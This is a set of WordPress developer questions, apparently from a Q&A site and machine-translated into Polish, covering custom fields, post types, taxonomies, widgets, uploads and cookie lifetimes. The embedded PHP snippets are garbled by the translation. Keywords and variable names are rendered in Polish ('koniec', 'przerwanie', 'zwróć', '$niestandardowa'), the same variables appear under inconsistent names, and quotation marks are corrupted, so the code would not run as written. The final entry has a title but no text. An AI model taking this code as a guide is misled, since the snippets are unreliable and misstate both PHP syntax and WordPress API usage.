title: Pola niestandardowe nie są zapisywane w najnowszym programie Wordpress 3.0.1

text:
Miałem to działa kilka tygodni temu i jedyne, o czym mogę pomyśleć, to to, że WordPress zaktualizował i zepsuł funkcjonalność? Postępowałem zgodnie z samouczkiem tutaj, aby dodać niestandardowe pola: http://net.tutsplus.com/tutorials/wordpress/rock-solid-wordpress-3-0-themes- using-custom-post-types/ Działało dobrze (ja wprowadziłem około 50 niestandardowych postów, wszystkie z niestandardowymi polami), ale kiedy idę go dzisiaj edytować, wszelkie zmiany, które wprowadzam w polach niestandardowych, nie są zapisywane, chociaż inne zmiany działają dobrze. Czy ktoś wie, czy jest to znany błąd? **Edytuj:** Oto kod dodany w functions.php do zupełnie nowej instalacji (motyw: dwadzieścia dziesięć) add_action('init', 'testimonials_register'); add_action("admin_init", "admin_init"); add_action('save_post', 'save_testimonial'); function testimonials_register() { $args = array( 'label' => __('Referencje'), 'singular_label' => __('Referencje'), 'public' => true, 'show_ui' => true, 'capability_type ' => 'post', 'menu_position' => 5, 'hierarchical' => false, 'rewrite' => true, 'supports' => array('title', 'editor', 'thumbnail','custom- pola”, „poprawki”, „wyciąg”, „atrybuty strony”) ); register_post_type( 'referencje' , $args ); } register_taxonomy( 'testimonial_project_type', array("testimonials") , array( 'hierarchical' => true, 'label' => 'Typ projektu', 'query_var' => true, 'rewrite' => true ) ); function admin_init(){ add_meta_box("testimonialInfo-meta", "Opcje referencji", "meta_options_testimonial", "recenzje", "zaawansowane", "wysokie"); } funkcja meta_options_testimonial(){ global $post; $custom = get_post_custom($post->ID); $imię = $niestandardowe["imię"][0]; $pozycja = $niestandardowa["pozycja"][0]; $project_url = $custom["project_url"][0]; $strona = $niestandardowa["strona"][0]; ?> Nazwa: <input size="50" name="name" id="name" value="< ?php echo $nazwa; ?>" />
 Pozycja: <input size="50" name= "pozycja" id="pozycja" value="<?php echo $pozycja; ?>" />
 Nazwa witryny:  <input size="50" name="strona internetowa" id="strona internetowa" value="<?php echo $strona internetowa; ?>" />
 Ślad projektu: <input size="50" name="project_url" id="project_url" value="<?php echo $project_url; ?>" /> < mały>Np. 'parker-harris'
 <?php } function save_testimonial(){ $custom_meta_fields = array( 'project_url','name','position','website'); foreach( $custom_meta_fields as $custom_meta_field ): if(isset($_POST[$custom_meta_field]) && $_POST[$custom_meta_field] != ""): update_post_meta($post->ID, $custom_meta_field, $_meta_$field] ); endif; na każdym kroku; } add_filter("manage_edit-testimonials_columns", "testimonials_edit_columns"); add_action("manage_posts_custom_column", "testimonials_custom_columns"); function testimonials_edit_columns($columns){ $columns = array( "cb" => "<input type=\"checkbox\" />", "title" => "Tytuł referencji", "name" => "Imię", "description" => "Wyciąg", "project_url" => "Project Slug" ); return $kolumny; } function referencje_custom_columns($kolumna){ global $post; switch ($kolumna) { case "name": $custom = get_post_custom(); echo $niestandardowa["nazwa"][0].", ".$niestandardowa["pozycja"][0]."
 ".$niestandardowa["strona internetowa"][0]; przerwanie; przypadek "opis": the_excerpt(); przerwanie; case "project_url": $custom = get_post_custom(); echo "".$custom["project_url"][0]."" ; przerwanie; } } // Pokazuje referencje w blogu i kanale. add_filter( 'pre_get_posts', 'my_get_posts' ); function my_get_posts( $query ) { if ( is_home() && false == $query->query_vars['suppress_filters'] || is_feed() ) $query->set( 'post_type', array( 'post', 'referencje ') ); zwróć $zapytanie; }


title: Jak nie wyświetlać nic (zamiast domyślnego), gdy nie ma gravatara użytkownika?

text: Czy istnieje sposób, aby nie wyświetlać gravatara na liście komentarzy dla komentujących, którzy nie są zarejestrowani na gravatar.com? O ile widziałem, gravatar.com nie zwraca specjalnego kodu, gdy żaden awatar nie jest zarejestrowany. Tymczasowym, niezbyt eleganckim rozwiązaniem, które na razie zastosowałem, jest wyświetlanie przezroczystego gifu 1x1px, ale jeśli to możliwe, nie chciałbym zwracać żadnego obrazu. Próbowałem też 3-4 wtyczek gravatar, ale żadna nie robi tego poprawnie.


title: Utwórz statyczną stronę główną z 3-5 najnowszymi postami

text:
Zmagam się z dostosowaniem frontu/strony docelowej do mojego specjalnie zaprojektowanego motywu. Zaprojektowałem niestandardowy motyw i zakodowałem go za pomocą _Undercore boilerplate_. Jak rozumiem, kodeks sugeruje, abym stworzył front-page.php i tam go dostosował. W _setting>reading_ wybrałem stronę A static/front (moja żądana strona, na której zmieniam statyczną wiadomość powitalną). Pod spodem chcę mieć 3-5 ostatnich postów z miniaturami (włączone w moich funkcjach) i fragmentami. Mój front-page.php:  <?php while ( have_posts() ) : the_post(); ?> <?php get_template_part( 'treść', 'strona' ); ?> <?php koniec; // koniec pętli. ?>
Ostatnie posty

 <?php $args = array( 'numberposts' => '5' ); $recent_posts = wp_get_recent_posts ($args ); foreach( $recent_posts as $recent ){ echo '
' . $recent["post_title"].'
 '; } ?>
  To działa, jednak nie mam pojęcia jak załadować miniaturki + fragmenty. Co najważniejsze, czy to prawda?


title: Import CSV przestał działać po aktualizacji do WP 3.5.2

text: Kiedyś importowałem grecki tekst w postach za pomocą różnych wtyczek, takich jak improter CSV. Wszystko to przestało działać, gdy zaktualizowałem WP do 3.5.2. Jakieś znane problemy? Dziękuję.


title: Zapobieganie błędowi 404 w pustym archiwum dat

text: Na stronie archiwum dat, gdy nie istnieją żadne posty (dla tej daty), WordPress przerzuca na stronę 404. Czy istnieje sposób, aby WordPress nadal używał oryginalnego archiwum zamiast 404? W ten sposób mogę użyć warunku `if ( have_posts() )` do wyświetlenia komunikatu „Nie znaleziono postów”.


title: Jak zhakować wtyczkę YARPP, aby znaleźć powiązane posty dla niestandardowego typu postu?

text: Czy ktoś wie, jak mogę zhakować YARPP (Yet-Another-Related-Post-Plugin), aby znaleźć powiązane posty dla niestandardowego typu postu? Naprawdę nie mogę znaleźć lepszej wtyczki do postów niż YARPP. Ale niestety nie obsługuje jeszcze niestandardowego typu post-type. Twoje zdrowie!


title: Jak zarządzać relacjami przywiązania do konkretnych postów w WP 3.5+?

text: W WordPress 3.5 zarządzanie mediami uległo całkowitej zmianie. Ponadto powiązanie załączników do konkretnych postów jest (jak sądzę) zasadniczo wykonywane tylko w celu zapewnienia wstecznej kompatybilności. Dlatego po przesłaniu załączników z modu mediów do posta dowolnego typu, ustanawia relację, w której identyfikator posta jest elementem nadrzędnym identyfikatora załącznika, jak to miało miejsce przez długi czas. Jednak po przesłaniu załącznika do posta nie ma miejsca na zarządzanie załącznikami, które są powiązane z postem w ramach modalności multimediów w poście. Po przesłaniu obrazów mogę od razu je wybrać i wstawić, ale ponieważ media są zrzucane do sekcji multimediów w całej witrynie, nie mogę już zarządzać załącznikami do konkretnego postu, jak w < 3.5, jak widać tutaj: ![enter image opis tutaj](http://i.stack.imgur.com/wpm7O.png) Powoduje to następujący problem: Zarządzanie relacjami załączników do określonych postów jest niemożliwe bez całkowitego usunięcia multimediów i ponownego przesłania. Samo to nie różni się od poprzednich. Jednak teraz, gdy media są zrzucane na tę samą kartę, co wszystkie inne media, i nie ma karty do zarządzania mediami w związku z konkretnym postem, niezwykle trudno jest nawet znaleźć media dołączone do konkretnego posta w dalszej części drogi . Ponieważ możesz dołączyć multimedia do posta, a następnie w późniejszym czasie, po przesłaniu wielu załączników do innych postów chcesz wrócić do starego posta (pomyśl o suwaku lub produkcie) i wymienić dołączone multimedia. Powodzenia w znalezieniu multimediów, ponieważ zakładka multimediów w nowym edytorze nie porządkuje najpierw wszystkich multimediów według tych załączników, które mają związek z bieżącym postem. Oto przykładowe zdjęcie: ![tutaj podaj opis obrazka](http://i.stack.imgur.com/pOE5H.jpg) Nie jest tu tak źle, bo to tylko jeden lub dwa posty oddzielone. Ale wyobraź sobie powrót kilka miesięcy później. Nie można znaleźć powiązanych załączników do tego posta. Istnieje wiele, wiele wtyczek i niestandardowych szablonów stron, które wykorzystują związek między postem a powiązanymi załącznikami. Tak więc usunięcie tych relacji będzie bardzo, bardzo trudne w przyszłości. Zakładam, że odpowiedzią jest utworzenie kolejnej zakładki po lewej stronie dla mediów dołączonych do konkretnego posta. Lub, aby zamówienie karty mediów zaczynało się od załączników związanych z bieżącym postem. To krótkoterminowe rozwiązanie. W dłuższej perspektywie ci twórcy wtyczek i motywów muszą stworzyć inne sposoby powiązania mediów z postem. Zakładam, że są dostępne haki do tworzenia nowych kart i dodawania metadanych do załącznika i posta, aby utworzyć relację. Czy mam rację w mojej trosce? Pomysły do naprawienia?


title: Ten sam termin z taksonomii niestandardowej w dwóch różnych typach niestandardowych postów?

text:
Używam formularza front-end do wstawiania niestandardowych typów postów, dane wejściowe są używane do wstawiania terminów (słów kluczowych) do niestandardowej taksonomii dla tego niestandardowego typu postu. Właśnie zauważyłem na zapleczu, gdy przeglądam listę terminów w taksonomii. Został dodany tylko jeden unikalny termin, nawet jeśli stworzę wiele postów i używam tych samych terminów w każdym. Chociaż na zapleczu mówi, ile niestandardowych postów jest powiązany z tym terminem. Z zaplecza otrzymuję błąd podczas próby dodania zduplikowanego terminu. To jest oczekiwane. Przeczytałem jednak, że WordPress w niektórych przypadkach tworzy duplikat, ale ślimak jest unikalny. Na mojej niestandardowej stronie pojedynczego szablonu typu post mam tę funkcję, aby wyświetlić terminy $keyword_terms = wp_get_object_terms($post->ID, 'keyword'); if(!empty($keyword_terms)){ if(!is_wp_error( $keyword_terms )){ echo '
'; foreach($keyword_terms as $term){ echo '
slug, 'keyword').'">'.$term->name.'
'; } echo '
'; } } Link slug/termin jest taki sam we wszystkich niestandardowych postach. Czy to normalne zachowanie WordPressa z niestandardowymi taksonomiami/warunkami? Czy istnieje funkcja umożliwiająca wstawianie terminów i generowanie unikalnych informacji o pracy?


title: Wyrównaj film z YouTube'a w prawo

text: Próbuję wyrównać do prawej (class="alignright") film z YouTube I zezwolić mojemu klientowi na edycję otaczającego tekstu w przyszłości za pomocą edytora wizualnego. Po prostu dodałem class="alignright" do tagu zawierającego osadzanie za pomocą edytora HTML, jednak gdy jakiekolwiek zmiany zostaną wprowadzone w tekście za pomocą edytora wizualnego, WordPress usuwa dodatkowy kod. Myślę, że uzyskanie pożądanego wyniku może być niemożliwe, ale czy ktoś mógłby potwierdzić moje podejrzenia lub dać mi obejście.


title: Czy w tym krótkim kodzie można wstawić dane z „pola niestandardowego”?

text: Stworzyłem niestandardowy szablon strony. W szablonie używam shortcode dla JJ NextGen JQuery Slider. Chciałbym, aby strona miała „pole niestandardowe” o nazwie „Galeria obrazów” z wartością pochodzącą z galerii NEXTGEN. Próbuję uzyskać szablon strony, aby rozpoznał dynamiczne wprowadzanie wartości z shortcode, ale nie odniosłem sukcesu. Wszelkie porady są mile widziane! Oto kod, którego używam: <div id="prop_images"> <?php echo do_shortcode('[jj-ngg-jquery-slider title="Właściwość" gallery="get_post_meta($post ->ID, 'Image_Gallery' , prawda)" effect="zanikanie" html_id="about-slider" width="400" height="300"]'); ?> </div><!-- end prop images-->


title: Niestandardowa kolumna tabeli z możliwością sortowania według zapytania taksonomicznego

text: Chcę dodać niestandardową kolumnę do niestandardowej tabeli wpisów typu post na pulpicie nawigacyjnym. Przeczytałem wiele pytań / odpowiedzi na WPSE, wraz z tym artykułem. Chociaż wydaje się, że wszyscy chcą wysyłać zapytania według klucza / wartości meta. Próbuję dodać wartość taksonomii (w zasadzie kategorię) do niestandardowej tabeli typu post. Chciałbym, aby kolumna była możliwa do sortowania, jednak nie rozumiem dostosowania zapytania. Dodaj tytuł kolumny. function mbe_column_titles($columns){ $columns['title'] = 'Często zadawane pytanie'; $kolumny['mbe-faq-category'] = 'Kategoria'; return $kolumny; } add_filter('manage_mbe-faqs_posts_columns', 'mbe_column_titles'); Dodaj wartości wierszy. function mbe_column_rows($column_name, $post_id){ if($column_name == 'mbe-faq-category'){ $categories = wp_get_object_terms($post_id, 'mbe-faq-categories'); $kategoria = tablica(); if($categories){ foreach($categories as $category){ $the_category[] = $category->name; } } echo join(', ', $kategoria); } } add_action('manage_mbe-faqs_posts_custom_column', 'mbe_column_rows', 10, 2); Przygotuj klucz porządkowania, funkcja mbe_sortable_columns($columns){ $columns['mbe-faq-category'] = 'mbe-faq-category'; return $kolumny; } add_filter('manage_edit-mbe-faqs_sortable_columns', 'mbe_sortable_columns'); Jestem zakłopotany tym, jak właściwie posortować kolumnę według kategorii FAQ. Przypuszczam, że byłoby to zapytanie taksonomiczne. Jestem zbyt zawstydzony, aby opublikować moją próbę poradzenia sobie z tym, a wszystko, co robię, wydaje się nieskuteczne. Jeśli to możliwe, chciałbym użyć filtra `pre_get_posts` do obsługi tego.


title: Można śmiało powiedzieć, że wersje zabezpieczeń WordPress nie mają aktualizacji baz danych

text: Ponieważ wszystkie wydania bezpieczeństwa są oparte na ostatniej wydanej bazie kodu + łatce bezpieczeństwa, myślę, że bezpiecznie jest powiedzieć, że wydania bezpieczeństwa WordPress nie mają aktualizacji baz danych, ale pomyślałem, że zapytam tutaj moich kolegów programistów. Czy ktoś wie o wydaniu bezpieczeństwa, które je posiadało? A może ktoś może pomyśleć o przypadku, w którym może zawierać kod aktualizacji bazy danych?


title: Policz posty opublikowane w danym dniu: w lżejszy sposób

text: Chciałbym otrzymać tylko liczbę postów opublikowanych w danym dniu. Używam tego kodu, ale to pobiera dużo kodu: $day = date('Ymd'); $query01 = array('numberposts' => -1, 'post_type' => array('post', 'video', 'image', 'review'), 'm' => $day); $mojapost = get_posts($zapytanie01); $licznik = liczba($moja poczta); wp_reset_postdata(); Czy istnieje lżejszy sposób na uzyskanie tego samego?


title: Jak stworzyć układ w stylu siatki płynnej dla postów WordPRess?

text: Wiem, jak skonfigurować układ murowany dla WordPressa, ale nie potrafię rozgryźć, jak sprawić, by siatka każdego posta miała inny rozmiar, jak na przykładowym obrazku poniżej. Jak mogę to osiągnąć, to przez jQuery?! [wpisz opis obrazka tutaj][1] http://i.stack.imgur.com/Ata6N.png


title: Jak zachować synchronizację witryny Wordpress między dwoma serwerami?

text: Mam witrynę WordPress działającą na serwerze dedykowanym w hostingu A i chciałbym ją zsynchronizować z kopią na innym serwerze hostingowym w celu ochrony przed przełączaniem awaryjnym. Czy to jest możliwe?


title: Najlepszy sposób na filtrowanie tekstu polecanego obrazu pod kątem niestandardowego typu posta?

text: Próbuję zmienić linki tekstowe „Ustaw wyróżniony obraz”, „Usuń wyróżniony obraz” i „Użyj jako wyróżnionego obrazu” niestandardowego typu postu dla mojej wtyczki Meteor Slides. Znalazłem hak filtra „admin_post_thumbnail_html” i wymyśliłem kod, który zmieni „Ustaw wyróżniony obraz” na „Ustaw obraz slajdu” tylko dla typu postu slajdu: if ((isset($_GET['post_type']) && $_GET['post_type'] == 'slide') || (isset($post_type) && $post_type == 'slide')) { add_filter( 'admin_post_thumbnail_html', 'meteorslides_set_featured', 9999, 1 ); function meteorslides_set_featured( $content ) { return str_replace( 'Ustaw wyróżniony obraz', 'Ustaw obraz slajdu', $treść ); } } Próbowałem tego samego dla "Usuń polecany obraz" i nie zadziałało, jednak mogę użyć tego kodu, aby wprowadzić tę zmianę dla _all_ typów postów: add_filter( 'admin_post_thumbnail_html', 'meteorslides_remove_featured', 9999, 1 ); function meteorslides_remove_featured( $content ) { return str_replace( 'Usuń wyróżniony obraz', 'Usuń obraz slajdu', $content ); } Czy ktoś zastanawia się, dlaczego filtrowanie „Ustaw wyróżniony obraz” miałoby działać inaczej niż „Usuń wyróżniony obraz”? Zmiana „Użyj jako wyróżnionego obrazu” wydaje się nieco trudniejsza, nie ma na to filtra. Ale znalazłem bilet w Tracu, gdzie ktoś inny próbował zrobić to samo, i pojawiła się sugestia, aby przefiltrować ciąg tłumaczenia. To rozwiązanie działało całkiem dobrze, udało mi się zmienić tekst „Użyj jako polecany obraz”, ale znowu dotyczy to wszystkich typów postów i nie jestem pewien, jak go zawęzić: add_filter( 'gettext', 'meteorslides_use_featured', 9999, 4); function meteorslides_use_featured( $translation, $text, $domain ) { $translations = &get_translations_for_domain( $domain ); if ( $text == 'Użyj jako obrazka wyróżnionego' ) { return $translations->translate( 'Użyj jako obrazka slajdu' ); } return $translation; } Nałożone okno multimediów nie wydaje się "wiedzieć", że ładuję je z określonego typu postu, więc nie jestem pewien, czy ta zmiana jest wykonalna. Znalazłem tutaj odpowiedź, która pokazała, jak zmienić te linki za pomocą jQuery. Wolałbym używać filtrów, ale gdybym mógł wymyślić, jak ograniczyć to do jednego typu postu, to też byłoby w porządku! Rozglądałem się za innymi wtyczkami, które używają polecanych obrazów, ale nie udało mi się znaleźć żadnej, która zmieniła wszystkie te ciągi. Czy ktoś to zrobił?


title: Tworzenie dwóch tabel bazy danych za pomocą wtyczki

text: Pracuję nad wtyczką do głosowania dla mojej strony i chcę stworzyć 2 tabele: jedną przechowującą głosy i drugą przechowującą adresy IP wyborców. W Codex sugeruje użycie instrukcji if, aby sprawdzić, czy tabela została już utworzona podczas instalacji wtyczki, ale jak mogę zmienić kod, jeśli tworzę 2 tabele? To jest moja instrukcja if w funkcji instalacji wtyczki, obecnie ustawiona na sprawdzanie, czy 1 tabela już istnieje. ... $nazwa_tabeli1 = $wpdb->przedrostek . „IP_głosu”; $table_name2 = $wpdb->przedrostek . "vote_posts"; $installed_ver = get_option( "postvote_version" ); if($wpdb->get_var("pokaż tabele takie jak '$table_name'") != $table_name1) { //niepewny jak dodać obie tabele $sql = "CREATE TABLE" . $nazwa_tabeli1 . " ( id bigint(20) NOT NULL AUTO_INCREMENT, vote_post_id bigint(20) NOT NULL, voter_ip varchar(100) NOT NULL, UNIQUE KEY id (id) );"; $sql = "UTWÓRZ TABELĘ" . $nazwa_tabeli2 . " ( id bigint(20) NOT NULL AUTO_INCREMENT, vote_post_id bigint(20) NOT NULL, up int(11) NOT NULL, ddown int(11) NOT NULL, UNIQUE KEY id (id) );"; require_once (ABSPATH . 'wp-admin/includes/upgrade.php'); dbDelta($sql); add_option("postvote_version", $postvote_version); } .... Jaki jest prawidłowy sposób sprawdzenia, czy istnieją obie tabele?


title: Jak zapewnić podblogom własne nazwy domen?

text: Przeprowadziłem wyszukiwanie, które nie przyniosło tylu wyników. Czy jest to możliwe i jak można nadać każdemu podblogowi instalacji wielostanowiskowej własną nazwę domeny?


title: Uwzględnij wiele identyfikatorów stron w pętli

text:
Nie spałem od około 30 godzin, czy ktoś może mi pomóc, ponieważ poniższy kod nie działa, wyświetla tylko wszystkie posty itp :| <?php $args = array ( 'strona' => array(139, 54) ); $pętla = nowe WP_Query($args); while ($loopy->have_posts()) : $loopy->the_post(); ?>
<?php the_title(); echo '
'; echo '
'; koniec; ?>


title: Dropzone.js i wtyczka wordpress

text: Obecnie używam Dropzone.js w ramach osobistej wtyczki i jestem w stanie stworzyć strefę dropzone, jednak kiedy przekazuję plugins_url jako akcję, chcę pobrać pliki i dodać je do mediów wordpress za pomocą zwykłego insert_attachment funkcja znaleziona w dokumentacji wordpress. Dropzone: <form id="udev-dropzone" method = "post" action="<?php echo plugins_url('/unrealdevs-portfolio/library/components/PortfolioUploader.php'); ?>" class="dropzone" enctype ="multipart/form-data"> <input type="hidden" name="submitted" id="submitted" value="1" /> </form> Moje oświadczenie w PortfolioUploader.php w celu sprawdzenia plików (wiem Muszę dodać jednorazowy numer): if ($_FILES) { $files = $_FILES; $użytkownik = $_POST['identyfikator_użytkownika']; foreach ($files['name'] as $key => $value) { if ($files['name'][$key]) { $file = array( 'name' => $files['name'] [$key], 'type' => $files['type'][$key], 'tmp_name' => $files['tmp_name'][$key], 'error' => $files['error' ][$klucz], 'rozmiar' => $pliki['rozmiar'][$klucz] ); $_FILES = array("upload_attachment" => $plik); update_udevdb($użytkownik, $plik); //Odrzuć tę linię. foreach ($_FILES jako $plik => $tablica) { $newupload = insert_attachment($plik); var_dump($plik); } } } } insert_attachment function: function insert_attachment($file_handler) { // sprawdź, czy przesyłanie się powiodło if ($_FILES[$file_handler]['error'] !== UPLOAD_ERR_OK) __return_false(); require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); $attach_id = media_handle_upload( $file_handler, 0 ); } Czy ktoś może mi pomóc? :) **EDYTUJ: Oto kod, który został użyty do poprawnego insert_attachment** funkcji udev_before_uploader() { if ( !empty($_FILES) ) { $files = $_FILES; foreach($files as $file) { $newfile = array ( 'name' => $file['name'], 'type' => $file['type'], 'tmp_name' => $file['tmp_name '], 'błąd' => $plik['błąd'], 'rozmiar' => $plik['rozmiar'] ); $_FILES = array('upload'=>$nowyplik); foreach($_FILES jako $plik => $tablica) { $newupload = insert_attachment($plik); } } } }


title: Jak ustawić domyślną wartość jako wartość zapisaną po zapisaniu formy widżetu?

text:
Próbowałem to zrobić dla formularza funkcji: <?php function form(){ //Ustaw kilka domyślnych ustawień widżetu. $defaults = array( 'uid' => __('121232', 'przykład'), 'wysokość' => __('250px', 'przykład'), 'width' => __('170px', 'przykład ') ); $instancja = wp_parse_args( (tablica) $instancja, $defaults ); ?>
 <label for="<?php echo $this->get_field_id( 'uid' ); ?>"><?php _e('ID użytkownika:', 'przykład'); ?> <input id="<?php echo $this->get_field_id( 'uid' ); ?>" name="<?php echo $this->get_field_name( 'uid' ); ?>" value="<?php echo $instance['uid']; ?>" style="szerokość:100%;" />

 <label for="<?php echo $this->get_field_id( 'wysokość' ); ?>"><?php _e('Wysokość:', 'przykład'); ?> <input id="<?php echo $this->get_field_id( 'wysokość' ); ?>" name="<?php echo $this->get_field_name( 'wysokość' ); ?>" value="<?php echo $instance['wysokość']; ?>" style="szerokość:100%;" />

 <label for="<?php echo $this->get_field_id( 'szerokość' ); ?>"><?php _e('Szerokość:', 'przykład'); ?> <input id="<?php echo $this->get_field_id( 'szerokość' ); ?>" name="<?php echo $this->get_field_name( 'szerokość' ); ?>" value="<?php echo $instance['szerokość']; ?>" style="szerokość:100%;" />
 <?php } ?> Mogę użyć wartości domyślnych, jakie podałem, ale po kliknięciu przycisku zapisu z innymi wartościami w formularzu, powracają one do poprzednich wartości domyślnych. W interfejsie widżet działa dobrze wraz z wartościami, które wybrałem ręcznie, ale w panelu administracyjnym formularz wyświetla wartości domyślne, takie jak w kodzie.


title: Rozszerzanie auth_cookie_expiration na podstawie roli użytkownika

text: Próbuję wydłużyć czas życia pliku cookie uwierzytelniania, ale tylko dla administratorów. Mój kod w functions.php to: add_filter( 'auth_cookie_expiration', 'change_admin_cookie_logout' ); function change_admin_cookie_logout( $expirein ) { if ($user_id == current_user_can('promote_users')) { return 60; // tak, wiem, że to 1 minuta } return 20; } Problem, który mam, jest dwojaki: 1. Kiedy opuszczam instrukcję else, logowanie się nie udaje. Innymi słowy, wydaje mi się, że muszę zdefiniować czas wygaśnięcia dla administratorów i osób niebędących administratorami, zamiast pojedynczo modyfikować czas wygaśnięcia administratora. 2. powyższa formuła ignoruje „zapamiętaj mnie” i stosuje ją globalnie. Chciałbym, żeby była stosowana tylko wtedy, gdy zaznaczona jest opcja „Zapamiętaj mnie”. Próbowałem poprawić wp_set_auth_cookie, ale uderzyłem w niektóre ściany i wróciłem do tej metody. Każda pomoc jest bardzo ceniona!


title: Jak wyświetlić dwa oddzielne archiwa taksonomii dla dwóch typów postów, które współdzielą jedną taksonomię?

text: Mam niestandardowy typ treści „produkty”, który dzieli taksonomię kategorii z postami. Używamy postów do omawiania i recenzowania produktów. Pomysł polega na tym, aby mieć dwa oddzielne adresy URL: * /discussion/category/term/ : Wyświetla listę postów należących do określonego terminu z obszarem „produkty powiązane” czerpiąc z tego samego terminu * /products/category/term/ : Wyświetla lista produktów należących do tego terminu z obszarem "pokrewne dyskusje" czerpiąca z tego samego terminu. Mogę użyć domyślnych szablonów kategorii/archiwów z frontem permalinku dla postów, a pierwszy jest rozwiązany domyślnie. Ale skoro każda taksonomia ma tylko jeden zestaw szablonów, jak mogę osiągnąć drugi? Powyższe adresy URL są przykładami, a wszystkie typy archiwów idealnie współpracowałyby ze zwykłymi strukturami permalinków po początkowym froncie/slug. Patrząc na podobne pytania, widziałem sugestie, aby użyć dwóch różnych taksonomii z tymi samymi terminami, ale w WordPress 3.7 terminy dwóch różnych taksonomii nie mogą już dzielić się ślimakiem, więc powiązanie tych dwóch jest problematyczne dla nietechnicznego kierownika witryny . Wiem również, jak użyć get_query_var('post_type') do rozróżnienia dwóch typów postów, ale to nie rozwiązuje problemu oddzielnych adresów URL. Każda pomoc jest bardzo ceniona!


title: Twórz posty WordPress z tablicy JSON za pomocą wtyczki w admin

text: Piszę wtyczkę WordPress, którą chciałbym wykonać w następujący sposób: 1. Dodaj stronę administratora wtyczki WordPress, która zawiera przycisk 2. Po kliknięciu przycisku ładuje tablicę obiektów JSON z pliku, a następnie tworzy post WordPress dla każdego obiektu, który zrobiłem nr 1, i widzę tablicę obiektów JSON ładowanych po kliknięciu przycisku, ponieważ używam `console.log`. (Zrobiłem przycisk za pomocą tego samouczka \- używa AJAX.) Ale jak mam dać WordPressowi dostęp do tablicy JSON, aby móc tworzyć posty za pomocą `wp_insert_posts`? Czy to w ogóle możliwe?


title: Widget Logic — adres URL celu 1

text: TestSite.com/?property=Name Jak kierować tylko ten adres URL za pomocą tagów warunkowych i logiki widgetu. Próbowałem is_singular( 'Name' ), ale to nie zadziałało.


title: Searchform do wyszukiwania określonych kategorii

text: <form id="searchform" method="get" action="<?php echo home_url(); ?>"> <input type="text" name="s" id="s" size="15" / > <?php wp_dropdown_categories( 'show_option_none=Wybierz' ); ?> <input type="submit" value="Search" /> </form> Ten fragment daje mi pole wyszukiwania z polem wyboru, w którym mogę wybrać kategorię, w której chcę szukać. To miłe, ale **nie nie chcę pokazywać WSZYSTKICH kategorii, które mam, nie, chcę pokazać konkretne kategorie.** Jak mogę to zrobić? Czy to w ogóle możliwe?


title: Używanie zmiennej do wyświetlania strony z innym arkuszem stylów

text: Czy można zaimplementować inny arkusz stylów dla strony za pomocą zmiennej url, na przykład **Normalny adres URL: www.example.com/strona** Czy zostanie użyty zwykły arkusz stylów **Alternatywny adres URL: www.example.com/strona? =alt** Użyłby alternatywnego arkusza stylów


title: Przypadkowo zmieniono adres URL

text: Zdarzyło mi się przypadkowo zmienić url z mojej strony... Przeczytałem tyle artykułów o tym, co robić i rozumiem, że chyba muszę coś zmienić z bazy danych, a najłatwiej to zrobić przez phpmyadmina, ale kiedy Dotarłem tam, nie wygląda to jak przewodnicy, których oglądałem. Nie mogę znaleźć nigdzie mogę się zalogować, ale wydaje mi się, że powinienem to pobrać ... więc potem to zrobiłem i wydawało mi się, że wyglądało to bardziej na dziwną wyszukiwarkę ... nie rozumiem, ktoś prosze o pomoc ja!!


title: Czy istnieje powód, dla którego nie mogę uzyskać bieżącej kategorii w pętli?

text: Myślę, że robię to źle, ale jeśli robię: if(have_posts()){ $category_id = get_query_var('cat'); var_dump($kategoria_id); while (have_posts()){ the_post(); } } zrzut var jest pusty. Czemu? Czy istnieje lepszy sposób na pobranie bieżącego obiektu kategorii w pętli? to samo pytanie dotyczy tagów. Czy mogę również pobrać bieżący obiekt tagu, jeśli był to `is_tag()`?


title: Niestandardowy szablon strony nie działa po przeniesieniu witryny z podfolderu

text: Testowałem i przeprojektowałem moją witrynę w podfolderze: http://theseattlevine.com/wordpress2013 Dzisiaj uruchamiam witrynę i postępowałem zgodnie z tymi instrukcjami (http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory), aby wyświetlić podfolder jako strona główna. Robiłem to już wiele razy bez problemu. Wygląda na to, że wszystko działa dobrze, z wyjątkiem jednego z moich szablonów stron. Jeśli przejdziesz do nowej witryny, teraz pod adresem http://theseattlevine.com przycisk „Opublikuj” z głównej nawigacji wyświetla błąd 404. Mam tę stronę skonfigurowaną do korzystania z niestandardowego szablonu o nazwie „centrum publikowania”, ale z jakiegoś powodu nie działa w nowej konfiguracji (wcześniej działała dobrze). Próbowałem zresetować permalinki, a także całkowicie usunąć plik .htaccess, a następnie ponownie zapisać permalinki, i nadal nie działa. Wszystkie moje posty i inne strony działają dobrze. Nie wiem, co jest nie tak, czy ktoś może dać jakiś wgląd?


title: Niestandardowe filtry taksonomii typu post

text: Naprawdę mam problemy z połączeniem tej funkcjonalności i mam nadzieję, że ktoś może mi pomóc lub dostarczyć fragmenty, aby mnie tam dostać. Tworzę więc sekcję na stronie internetowej, na której publikowane są historie, stworzyłem niestandardowy typ postu dla sekcji opowiadań i taksonomie dla typów opowieści (kategorii) i tagów opowieści (tagi). Pod tym względem wszystko działa dobrze i wyświetla się poprawnie. Oto szczegóły konfiguracji: * Niestandardowy typ postu: historie * Niestandardowa taksonomia (kategoria): typ wątku * Niestandardowa taksonomia (tagi): tagi wątku Potrzebuję mieć możliwość filtrowania postów na stronie docelowej według 4x opcji: * Taksonomia typu opowieści (rozdział lub fragment, wyróżniony, Flash Fiction, Micro Fiction, Poem, Short Story) * Taksonomia tagów opowieści (debiut, zabawna, prawdziwa historia) * według miesiąca (sty, luty, marzec itp.) * Sortuj według ( najczęściej czytane, najnowsze) Przykład: Pokaż mi wszystkie historie fabularne oznaczone jako śmieszne w czerwcu i posortuj je według najczęściej czytanych. Nie jestem wybredny, jeśli wyniki są wyświetlane, o ile są dokładne. Strona wyników będzie wtedy zatytułowana „Twoje wyniki” Dziękujemy za dotychczasowy czas...


title: Jak ustawić limit za pomocą WordPress Pobierz skrót do zakładek

text:
